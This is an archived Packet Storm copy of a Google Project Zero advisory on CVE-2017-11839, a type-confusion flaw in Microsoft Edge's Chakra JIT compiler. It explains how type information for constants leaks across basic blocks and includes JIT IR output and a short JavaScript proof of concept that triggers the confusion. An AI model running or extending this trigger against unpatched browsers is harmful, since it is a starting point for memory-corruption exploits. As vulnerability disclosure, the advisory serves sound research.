Twenty Year Anniversary

Microsoft Edge Chakra JIT BailOutOnTaggedValue Bailouts

Microsoft Edge Chakra JIT BailOutOnTaggedValue Bailouts
Posted Nov 25, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra JIT BailOutOnTaggedValue bailouts can be generated for constant values.

tags | exploit
advisories | CVE-2017-11839
MD5 | b08560e7ac644d466d3a2421baf54863

Microsoft Edge Chakra JIT BailOutOnTaggedValue Bailouts

Change Mirror Download
Microsoft Edge: Chakra: JIT: BailOutOnTaggedValue bailouts can be generated for constant values 

CVE-2017-11839


1.
In the Chakra's JIT compilation process, it stores variables' type information by basic block.

function opt(b) {
let o;
if (b) {
// BASIC BLOCK (a)
o = {};
} else {
// BASIC BLOCK (b)
o = 1.1;
}
// BASIC BLOCK (c)
return o;
}

For example, let's think the above code gets optimized. At the basic block (a), the type of "o" is always "Object". At the basic block (b), the type of "o" is always "CanBeTaggedValue_Float". At the basic block (c), it combines the two types, and marks the type of "o" as "CanBeTaggedValue_Mixed"(Object + CanBeTaggedValue_Float).

Explanation of TaggedValue in Chakra: <a href="http://abchatra.github.io/TaggedFloat/" title="" class="" rel="nofollow">http://abchatra.github.io/TaggedFloat/</a>

But unlike variables, the type information of constants like numbers, strings is managed globally. This means, once a constant is marked as some type in a certain block. All blocks will treat it as that type regardless of the control flow.

2.
Chakra uses a BailOutOnTaggedValue bailout to ensure a variable's type is "Object". The bailouts can be generated when inlining JavaScript functions.

function opt(inlinee) {
inlinee();
}

Generated IR code for the above code:
StatementBoundary #0 #0000
s6.var = StartCall 1 (0x1).i32 #0000
BailOnNotObject s3[LikelyCanBeTaggedValue_Object].var #0006 Bailout: #0006 (BailOutOnInlineFunction)
s10.var = Ld_A [s3[LikelyObject].var+8].u64 #0006
BailOnNotEqual [s10.var!].i32, 26 (0x1A).i32 # Bailout: #0006 (BailOutOnInlineFunction)
BailOnNotEqual [s3[LikelyObject].var+40].u64, 0xXXXXXXXX (FunctionBody [Anonymous function (#1.3), #4]).u64 # Bailout: #0006 (BailOutOnInlineFunction)

As you can see after the "BailOnNotObject" opcode which generates "BailOutOnTaggedValue" bailouts, the type of "s3" becomes "LikelyObject" from "LikelyCanBeTaggedValue_Object". This means there's no case where "s3" is not an object after the opcode which ensures its type, so it's safe to use it as an object without checks after the opcode.

But the problem is that this can be applied to constants.

Here's the PoC.

function opt2(inlinee, v) {
if (v > 0) {
inlinee();
} else {
inlinee.x = 1.1;
}
}

function opt() {
opt2(2.3023e-320, null);
}

function main() {
opt2(() => {}, 1); // feed a function to the profiler

for (let i = 0; i < 10000; i++) {
opt();
}
}

main();

We can simply think it as follows:
(NOT PRECISE just for understanding)

Just after inlining:
// Basic block (a)
s2 = 2.30235E-320; // constant
inlinee = s2; // variable
if (null > 0) {
// Basic block (b)
BailOnNotObject(inlinee);
inlinee();
} else {
// Basic block (c)
inlinee.x = 1.1;
}

Type map:
Constants:
s2: CanBeTaggedValue_Float
Basic block (a):
inlinee: CanBeTaggedValue_Float
Basic block (b):
inlinee: CanBeTaggedValue_Float
Basic block (c):
inlinee: CanBeTaggedValue_Float

In the Global Optimization Phase:
// Basic block (a)
s2 = 2.30235E-320;
if (null > 0) {
// Basic block (b)
BailOnNotObject(s2);
s2();
} else {
// Basic block (c)
s2.x = 1.1;
}

Type map:
Constants:
s2: CanBeTaggedValue_Float -> Float
Basic block (a):
Basic block (b):
Basic block (c):

At the basic block (b), the BailOnNotObject opcode changes the type of "s2" to "Float". And since "s2" is a constant, that change affects the basic block (c). So it leads to type confusion at the basic block (c).

Note: Just "Float" is considered an Object type.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    45 Files
  • 16
    Nov 16th
    11 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close